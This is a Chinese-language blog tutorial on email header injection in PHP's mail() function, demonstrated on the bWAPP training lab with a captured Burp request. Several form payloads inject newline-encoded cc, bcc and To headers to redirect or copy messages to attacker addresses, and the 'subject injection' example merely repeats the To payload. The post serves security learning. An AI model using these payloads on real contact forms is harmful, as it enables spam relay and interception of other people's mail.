电子邮件头注入

电子邮件头注入

漏洞含义:

大多数网站允许他们的用户联系他们,向网站提供建议,报告一个问题,或者要求反馈,用户将会发送反馈给网站管理员的电子邮件,一般只发生在webemail。如果存在漏洞,便可以利用此邮件服务器和此邮件地址向其他人发送邮件,它允许恶意攻击者注入任何邮件头字段,BCC、CC、主题等,它允许黑客通过注入手段从受害者的邮件服务器发送垃圾邮件。

漏洞原理:

在php中有mail()函数用于发送邮件。

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

其中to,subject,message都为接收的参数。发送邮件功能代码从用户接收输入(包括邮件主题、消息和来源等),参数没有过滤和验证。因此,恶意攻击者可以任意控制这些参数的值,用户发送inject攻击。

常见的标题头

  • return-path:邮件的回复地址。
  • from:发件人地址。
  • to:收件人地址。
  • subject:邮件主题,即邮件名。
  • body:邮件内容。
  • date:邮件发送日期。
  • cc:抄送。
  • bcc:密送。

示范:

列举bee-box的bwapp中Mail Header Injection(smtp)一题:

burp抓包:

POST /bWAPP/maili.php HTTP/1.1
Host: 192.168.0.108
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.108
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.108/bWAPP/maili.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=9d12f87ae399cf50674d1e529e3ab53c
Connection: close

name=test&email=test%40qq.com&remarks=test&form=submit
注入方式:

需要增加换行符\n或者\r\n,或者16进制换行符"0x0A";

1.cc/bcc注入:在发送者(email)后注入参数-》

name=test&email=test%40qq.com%0Acc:fxxk1@qq.com%0Abcc:fxxk2@qq.com&remarks=test&form=submit

然后消息就会发送到fxxk1和fxxk2账户中。

2.参数注入:

name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit

消息就会通过发送到攻击者账户。

3.邮件主题注入:

name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit

ps:听说还可以劫持找回密码邮件。但是不知道是什么原理。
对这个漏洞,我的理解就是:使用有漏洞的邮件服务器,并使用bcc密送也可以发送一份反馈邮件到我们自己的邮件中。

posted @ 2021-05-16 13:04  y0um  阅读(351)  评论(0编辑  收藏  举报

新人优惠服务器